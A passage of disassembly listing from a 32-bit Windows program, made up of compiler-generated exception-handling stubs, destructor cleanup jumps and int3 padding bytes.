; ---------------------------------------------------------------------------


loc_43C9C4:				; DATA XREF: ___:00426EC2o
		mov	eax, offset dword_442960
		jmp	sub_437AB8
; ---------------------------------------------------------------------------
		db 32h dup(0CCh)
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		jmp	sub_4014CE

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


SEH_427740	proc near		; DATA XREF: sub_427740+2o
		mov	eax, offset dword_442A40
		jmp	sub_437AB8
SEH_427740	endp

; ---------------------------------------------------------------------------
		align 10h
		mov	ecx, [ebp-10h]
		jmp	sub_40204F
; ---------------------------------------------------------------------------


loc_43CA28:				; DATA XREF: ___:00442A9Co
		mov	ecx, [ebp-10h]
		add	ecx, 11h
		jmp	sub_401226
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 26h
		jmp	sub_401226
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 3Bh
		jmp	sub_401226
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 64h
		jmp	sub_401226

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


SEH_4277B0	proc near		; DATA XREF: sub_4277B0+2o
		mov	eax, offset dword_442A70
		jmp	sub_437AB8
SEH_4277B0	endp

; ---------------------------------------------------------------------------
		db 12h dup(0CCh)
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		jmp	sub_40204F
; ---------------------------------------------------------------------------


loc_43CA78:				; DATA XREF: ___:00442AECo
		mov	ecx, [ebp-10h]
		add	ecx, 11h
		jmp	sub_401226
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 26h
		jmp	sub_401226
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 3Bh
		jmp	sub_401226
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 64h
		jmp	sub_401226

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


SEH_427850	proc near		; DATA XREF: sub_427850+2o
		mov	eax, offset dword_442AC0
		jmp	sub_437AB8
SEH_427850	endp

; ---------------------------------------------------------------------------
		db 12h dup(0CCh)
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-24h]
		jmp	sub_401226

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


SEH_427990	proc near		; DATA XREF: sub_427990+2o
		mov	eax, offset dword_442B10
		jmp	sub_437AB8
SEH_427990	endp

; ---------------------------------------------------------------------------
		align 10h
		mov	ecx, [ebp-10h]
		jmp	sub_4014CE

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


SEH_427C90	proc near		; DATA XREF: sub_427C90+2o
		mov	eax, offset dword_442B40
		jmp	sub_437AB8
SEH_427C90	endp

; ---------------------------------------------------------------------------
		align 10h
		lea	ecx, [ebp-24h]
		jmp	sub_401226

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


SEH_427D50	proc near		; DATA XREF: sub_427D50+2o
		mov	eax, offset dword_442B70
		jmp	sub_437AB8
SEH_427D50	endp

; ---------------------------------------------------------------------------
		align 10h
		mov	ecx, [ebp-10h]
		jmp	sub_4014CE

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


SEH_4281A0	proc near		; DATA XREF: sub_4281A0+2o
		mov	eax, offset dword_442BA0
		jmp	sub_437AB8
SEH_4281A0	endp

; ---------------------------------------------------------------------------
		align 10h
		lea	ecx, [ebp-24h]
		jmp	sub_401226

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


SEH_428260	proc near		; DATA XREF: sub_428260+2o
		mov	eax, offset dword_442BD0
		jmp	sub_437AB8
SEH_428260	endp

; ---------------------------------------------------------------------------
		align 10h
		mov	ecx, [ebp-10h]
		jmp	sub_4014CE

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


SEH_428880	proc near		; DATA XREF: sub_428880+2o
		mov	eax, offset dword_442C00
		jmp	sub_437AB8
SEH_428880	endp

; ---------------------------------------------------------------------------
		align 10h
		lea	ecx, [ebp-24h]
		jmp	sub_401226

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


SEH_428940	proc near		; DATA XREF: sub_428940+2o
		mov	eax, offset dword_442C30
		jmp	sub_437AB8
SEH_428940	endp

; ---------------------------------------------------------------------------
		align 10h
		mov	ecx, [ebp-10h]
		jmp	sub_4017A8

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


SEH_4290B0	proc near		; DATA XREF: sub_4290B0+2o
		mov	eax, offset dword_442C60
		jmp	sub_437AB8
SEH_4290B0	endp

; ---------------------------------------------------------------------------
		align 10h
		mov	ecx, [ebp-10h]
		jmp	sub_40204F
; ---------------------------------------------------------------------------


loc_43CBC8:				; DATA XREF: ___:00442CBCo
		mov	ecx, [ebp-10h]
		add	ecx, 11h
		jmp	sub_401226
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 26h
		jmp	sub_401226
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 43h
		jmp	sub_401226
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 58h
		jmp	sub_401226
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 6Dh
		jmp	sub_401226

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


SEH_429120	proc near		; DATA XREF: sub_429120+2o
		mov	eax, offset dword_442C90
		jmp	sub_437AB8
SEH_429120	endp

; ---------------------------------------------------------------------------
		db 17h dup(0CCh)
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		jmp	sub_40204F
; ---------------------------------------------------------------------------


loc_43CC28:				; DATA XREF: ___:00442D14o
		mov	ecx, [ebp-10h]
		add	ecx, 11h
		jmp	sub_401226
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 26h
		jmp	sub_401226
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 43h
		jmp	sub_401226
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 58h
		jmp	sub_401226
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 6Dh
		jmp	sub_401226

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


SEH_4291E0	proc near		; DATA XREF: sub_4291E0+2o
		mov	eax, offset dword_442CE8
		jmp	sub_437AB8
SEH_4291E0	endp

; ---------------------------------------------------------------------------
		db 17h dup(0CCh)
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-28h]
		jmp	sub_4017A8
; ---------------------------------------------------------------------------


loc_43CC88:				; DATA XREF: ___:00442D6Co
		mov	ecx, [ebp-28h]
		add	ecx, 0A1h
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-24h]
		jmp	sub_401226

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


SEH_429450	proc near		; DATA XREF: sub_429450+2o
		mov	eax, offset dword_442D40
		jmp	sub_437AB8
SEH_429450	endp

; ---------------------------------------------------------------------------
		db 18h dup(0CCh)
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-53ECh]
		jmp	sub_4014BA
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-5490h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-5474h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-5274h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-528Ch]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-525Ch]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-537Ch]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-5334h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-522Ch]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-5304h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-5244h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-52D4h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-545Ch]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-5444h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-541Ch]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-5404h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-52A4h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-5364h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-534Ch]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-531Ch]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-52ECh]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-52BCh]
		jmp	sub_401226
; ---------------------------------------------------------------------------


loc_43CDB2:				; DATA XREF: ___:004295B8o
		mov	eax, offset dword_442D80
		jmp	sub_437AB8
; ---------------------------------------------------------------------------
		db 44h dup(0CCh)
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		jmp	sub_4017A8

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


SEH_42ACB0	proc near		; DATA XREF: sub_42ACB0+2o
		mov	eax, offset dword_442E68
		jmp	sub_437AB8
SEH_42ACB0	endp

; ---------------------------------------------------------------------------
		align 10h
		mov	eax, [ebp-10h]
		push	eax
		call	sub_437AD2
; ---------------------------------------------------------------------------
		pop	ecx
		retn

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


SEH_42AD90	proc near		; DATA XREF: sub_42AD90+2o
		mov	eax, offset dword_442E98
		jmp	sub_437AB8
SEH_42AD90	endp

; ---------------------------------------------------------------------------
		align 10h
		mov	ecx, [ebp-10h]
		jmp	sub_4017A8

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


SEH_42AFF0	proc near		; DATA XREF: sub_42AFF0+2o
		mov	eax, offset dword_442EC8
		jmp	sub_437AB8
SEH_42AFF0	endp

; ---------------------------------------------------------------------------
		align 10h
		mov	ecx, [ebp-10h]
		jmp	sub_4017A8

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


SEH_42B380	proc near		; DATA XREF: sub_42B380+2o
		mov	eax, offset dword_442EF8
		jmp	sub_437AB8
SEH_42B380	endp

; ---------------------------------------------------------------------------
		align 10h
		mov	eax, [ebp-30h]
		push	eax
		call	sub_437AD2
; ---------------------------------------------------------------------------
		pop	ecx
		retn

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


SEH_42B440	proc near		; DATA XREF: sub_42B440+8o
		mov	eax, offset dword_442F28
		jmp	sub_437AB8
SEH_42B440	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


SEH_42C1B0	proc near		; DATA XREF: sub_42C1B0+5o
		mov	eax, offset dword_442F58
		jmp	sub_437AB8
SEH_42C1B0	endp

; ---------------------------------------------------------------------------
		align 10h


loc_43CEB0:				; DATA XREF: ___:0042C2C5o
		mov	eax, offset dword_442FB8
		jmp	sub_437AB8
; ---------------------------------------------------------------------------
		align 10h
		lea	ecx, [ebp+20h]
		jmp	sub_401226
; ---------------------------------------------------------------------------


loc_43CEC8:				; DATA XREF: ___:00443044o
		lea	ecx, [ebp+8]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		mov	eax, [ebp-1A0h]
		push	eax
		call	sub_437AD2
; ---------------------------------------------------------------------------
		pop	ecx
		retn

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


SEH_42C350	proc near		; DATA XREF: sub_42C350+2o
		mov	eax, offset dword_443018
		jmp	sub_437AB8
SEH_42C350	endp

; ---------------------------------------------------------------------------
		db 18h dup(0CCh)
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 8
		jmp	sub_401226

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


SEH_42C530	proc near		; DATA XREF: sub_42C530+2o
		mov	eax, offset dword_443058
		jmp	sub_437AB8
SEH_42C530	endp

; ---------------------------------------------------------------------------
		align 10h
		mov	ecx, [ebp-10h]
		jmp	sub_4017A8
; ---------------------------------------------------------------------------


loc_43CF28:				; DATA XREF: ___:0042C5D2o
		mov	eax, offset dword_443088
		jmp	sub_437AB8
; ---------------------------------------------------------------------------
		align 10h
		mov	ecx, [ebp-10h]
		jmp	sub_4017A8

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


SEH_42C770	proc near		; DATA XREF: sub_42C770+2o
		mov	eax, offset dword_4430B8
		jmp	sub_437AB8
SEH_42C770	endp

; ---------------------------------------------------------------------------
		align 10h
		mov	ecx, [ebp-10h]
		jmp	sub_4017A8
; ---------------------------------------------------------------------------
		mov	eax, offset dword_4430E8
		jmp	sub_437AB8
; ---------------------------------------------------------------------------
		align 10h
		mov	eax, [ebp-30h]
		push	eax
		call	sub_437AD2
; ---------------------------------------------------------------------------
		pop	ecx
		retn

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


SEH_42CB70	proc near		; DATA XREF: sub_42CB70+8o
		mov	eax, offset dword_443118
		jmp	sub_437AB8
SEH_42CB70	endp

; ---------------------------------------------------------------------------
		align 10h
		lea	ecx, [ebp-3Ch]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-3Ch]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-3Ch]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-3Ch]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-3Ch]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-24h]
		jmp	sub_401226

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


SEH_42CE60	proc near		; DATA XREF: sub_42CE60+2o
		mov	eax, offset dword_443148
		jmp	sub_437AB8
SEH_42CE60	endp

; ---------------------------------------------------------------------------
		db 16h dup(0CCh)
; ---------------------------------------------------------------------------
		mov	eax, [ebp+4]
		push	eax
		call	sub_437AD2
; ---------------------------------------------------------------------------
		pop	ecx
		retn
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-3Ch]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-3Ch]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-3Ch]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		mov	eax, [ebp+4]
		push	eax
		call	sub_437AD2
; ---------------------------------------------------------------------------
		pop	ecx
		retn
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-3Ch]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-3Ch]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-3Ch]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		mov	eax, [ebp+4]
		push	eax
		call	sub_437AD2
; ---------------------------------------------------------------------------
		pop	ecx
		retn
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-3Ch]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-3Ch]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		mov	eax, [ebp+4]
		push	eax
		call	sub_437AD2
; ---------------------------------------------------------------------------
		pop	ecx
		retn
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-3Ch]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-54h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-6Ch]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-3Ch]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-3Ch]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-3Ch]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-74h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-70h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-24h]
		jmp	sub_401226
; ---------------------------------------------------------------------------


loc_43D0A4:				; DATA XREF: ___:0042D158o
		mov	eax, offset dword_4431A0
		jmp	sub_437AB8
; ---------------------------------------------------------------------------
		db 32h dup(0CCh)
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-3Ch]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-24h]
		jmp	sub_401226

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


SEH_435AA0	proc near		; DATA XREF: sub_435AA0+2o
		mov	eax, offset dword_443288
		jmp	sub_437AB8
SEH_435AA0	endp

; ---------------------------------------------------------------------------
		align 10h
		lea	ecx, [ebp-168Ch]
		jmp	sub_401226
; ---------------------------------------------------------------------------


loc_43D10B:				; DATA XREF: ___:004432ECo
		lea	ecx, [ebp-16A4h]
		jmp	sub_401226
; ---------------------------------------------------------------------------


loc_43D116:				; DATA XREF: ___:00435B98o
		mov	eax, offset dword_4432C0
		jmp	sub_437AB8
; ---------------------------------------------------------------------------
		db 10h dup(0CCh)
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-24h]
		jmp	sub_401226

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


SEH_4364D0	proc near		; DATA XREF: sub_4364D0+2o
		mov	eax, offset dword_4432F8
		jmp	sub_437AB8
SEH_4364D0	endp

; ---------------------------------------------------------------------------
		align 10h
		lea	ecx, [ebp-3Ch]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-24h]
		jmp	sub_401226

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


SEH_4368D0	proc near		; DATA XREF: sub_4368D0+2o
		mov	eax, offset dword_443328
		jmp	sub_437AB8
SEH_4368D0	endp

; ---------------------------------------------------------------------------
		align 10h
		lea	ecx, [ebp-128h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-128h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-128h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-128h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-128h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-128h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-128h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-128h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-128h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-128h]
		jmp	sub_401226

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


SEH_4369E0	proc near		; DATA XREF: sub_4369E0+8o
		mov	eax, offset dword_443360
		jmp	sub_437AB8
SEH_4369E0	endp

; ---------------------------------------------------------------------------
		db 'ΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜ'
		db 'ΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜ'
		db 'ΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜ'
		db 'ΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜ'
		db 'ΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜ'
		db 'ΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜ'
		db 'ΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜ'
		db 'ΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜ'
		db 'ΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜ'
		db 'ΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜ'
		db 'ΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜ'
		db 'ΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜ'
		db 'ΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜ'
		db 'ΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜ'
		db 'ΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜ'
		db 'ΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜ'
		db 'ΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜ'
		db 'ΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜ'
		db 'ΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜ'
		db 'ΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜ'
		db 'ΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜ'
		db 'ΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜ'
		db 'ΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜ'
		db 'ΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜ'
		db 'ΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜ'
		db 'ΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜ'
		db 'ΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜ'
		db 'ΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜ'
		db 'ΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜ'
		db 'ΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜ'
		db 'ΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜ'
		db 'ΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜ'
		db 'ΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜ'
		db 'ΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜ'
		db 'ΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜ'
		db 'ΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜ'
		db 'ΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜ'
		db 'ΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜ'
